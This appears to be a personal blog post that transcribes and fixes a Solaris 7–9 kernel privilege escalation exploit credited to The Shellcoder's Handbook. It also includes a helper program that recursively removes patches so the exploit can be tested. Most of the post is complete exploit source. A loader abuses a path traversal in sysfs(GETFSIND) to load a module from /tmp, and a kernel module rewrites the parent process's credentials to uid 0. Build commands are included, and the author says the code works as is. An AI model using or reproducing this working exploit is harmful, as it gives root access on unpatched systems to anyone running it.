Solaris 7 8 9 modload user upload kernel module
“The Shellcoder’s Handbook” comes supplied with a ready exploit against http://www.securitytracker.com/id/1008833
But, it has some problems. the kernel module compiling script is broken (needs -c flag), else it will bitch about _init and _fini being defined twice.. This script uses the Sun Studio (11) cc compiler, but gcc can be used too (untested). https://www.thc.org/papers/slkm-1.0.html suggests
gcc -D_KERNEL -DSVR4 -DSOL2 -O2 -c flkm.c ld -o flkm -r flkm.o
To test this exploit (which I did successfully, yes this code works as is), I had to back down my patches on my Solaris box.. There is not automatic tool to uninstall patch dependencies.. So I built my own:
#include <stdio.h> #include <strings.h> #include <unistd.h> char logtime_str[8192]; char mycmd[1024]; char deeplist[8192][25]; int curcount=0; char *doit(char *cmd) { FILE *fp; int status; char *str; /* Open the command for reading. */ fp = popen(cmd, "r"); if (fp == NULL) { printf("Failed to run command\n" ); return NULL; } /* Read the output a line at a time - output it. */ while (fgets(logtime_str, sizeof(logtime_str)-1, fp) != NULL) { //logtime_str[strlen(logtime_str)-1]=0; // take out \n printf("%s", logtime_str); if ( (str=strstr(logtime_str, "required to be installed by patch ")) ) { strcpy(deeplist[curcount++], cmd); str+=strlen("required to be installed by patch "); str[9]=0; //sprintf () return str; } } return NULL; } int main(int argc, char **argv) { if (argc != 2) exit(1); printf ("Removing Patch %s", argv[1]); sprintf(mycmd, "patchrm %s" , argv[1]); //108528-29"); while (1) { char *newstr; if ( (newstr=doit(mycmd)) ) { sprintf(mycmd, "patchrm %s", newstr); printf ("%s\n", mycmd); printf ("Removing Patch %s", mycmd); } else { if (curcount) { strcpy ( mycmd, deeplist[--curcount] ); bzero (deeplist[curcount], 25); } else break; } } return 0; }
in my case, I needed to uninstall 108528-29, and there were a lot of nested dependencies involved, ALL having to be uninstalled manually without this tool above.. So now I just do:
./a.out 108528-29
And BAM.. auto uninstall..
WARNING: Back-pedaling thru patches is dangerous!! My SSHD doesn’t work correctly now :[ So now I’m reinstalling the patch cluster x.x
Now, the source code to the exploit… Since this source code was not found anywhere, I had to transcribe it all myself…
o0o0.c
#include <stdio.h> #include <sys/fstyp.h> #include <sys/fsid.h> #include <sys/systeminfo.h> /* int sysfs(int opcode, const char *fsname); */ int main(int argc, char **argv) { char modname[] = "../../../tmp/o0"; char buf[4096]; char ver[32], *ptr; int sixtyfour = 0; memset((char *) buf, 0x00, 4096); if (sysinfo(SI_ISALIST, (char *) buf, 4095) < 0) { perror("sysinfo"); exit (0); } if (strstr(buf, "sparcv9")) sixtyfour = 1; memset( (char *) ver, 0x00, 32); if (sysinfo(SI_RELEASE, (char *) ver, 32) < 0) { perror("sysinfo"); exit (0); } ptr = (char *) strstr(ver, "."); if (!ptr) { fprintf(stderr, "can't grab release version!\n"); exit (0); } ptr++; printf ("%s\n",ptr); //return 0; memset((char *) buf, 0x00, 4096); if (sixtyfour) snprintf(buf, sizeof(buf)-1, "cp ./o064 /tmp/sparcv9/o0"/*, ptr*/); else snprintf(buf, sizeof(buf)-1, "cp ./o032 /tmp/o0"/*, ptr*/); if (sixtyfour) { if (mkdir("/tmp/sparcv9", 0755) < 0) { perror ("mkdir"); exit(0); } } system(buf); sysfs(GETFSIND, modname); if (sixtyfour) system("/usr/bin/rm -rf /tmp/sparcv9"); else system("/usr/bin/rm -f /tmp/o0"); }
moka.c
#include <sys/systm.h> #include <sys/ddi.h> #include <sys/sunddi.h> #include <sys/cred.h> #include <sys/types.h> #include <sys/proc.h> #include <sys/procfs.h> #include <sys/kmem.h> #include <sys/errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/modctl.h> extern struct mod_ops mod_miscops; int g3mm3(void); int g3mm3() { register proc_t *p; register proc_t *pp; cred_t *cr, *newcr; mutex_enter(&pidlock); for (p=practive; p!=NULL; p = p->p_next) { if (strstr(p->p_user.u_comm, (char *) "o0o0")) { pp = p->p_parent; newcr = crget(); mutex_enter(&pp->p_crlock); cr = pp->p_cred; crcopy_to(cr,newcr); pp->p_cred = newcr; newcr->cr_uid = 0; mutex_exit(&pp->p_crlock); } continue; } mutex_exit(&pidlock); return 1; } static struct modlmisc modlmisc = { &mod_miscops, "u_comm" }; static struct modlinkage modlinkage = { MODREV_1, (void *) &modlmisc, NULL }; int _init(void) { int i; if ((i = mod_install(&modlinkage)) != 0) //cmn_err(CE_NOTE, ""); ; #ifdef _DEBUG else cmn_err(CE_NOTE, "o0o0o0o0 installed o0o0o0o0"); #endif i = g3mm3(); return i; } int _info(struct modinfo *modinfop) { return (mod_info(&modlinkage, modinfop)); } int _fini(void) { int i; if ((i = mod_remove(&modlinkage)) != 0) //cmn_err (CE_NOTE, "not removed"); ; #ifdef _DEBUG else cmn_err(CE_NOTE, "removed"); #endif return i; }
make_64.sh
/opt/SUNWspro/bin/cc -xCC -g -xregs=no%appl,no%float -xarch=v9 -DUSE_KERNEL_UTILS -D_KERNEL -D_B64 -c moka.c ld -o moka -r moka.o rm moka.o mv moka o064 gcc -o o0o0 o0o0.c /usr/ccs/bin/strip o0o0 o064
Note: There were inconsistencies with the source code that I took care of.. Apparently the writers of the Shellcoder’s Handbook didn’t give 2 fucks about this one…
Leave a Reply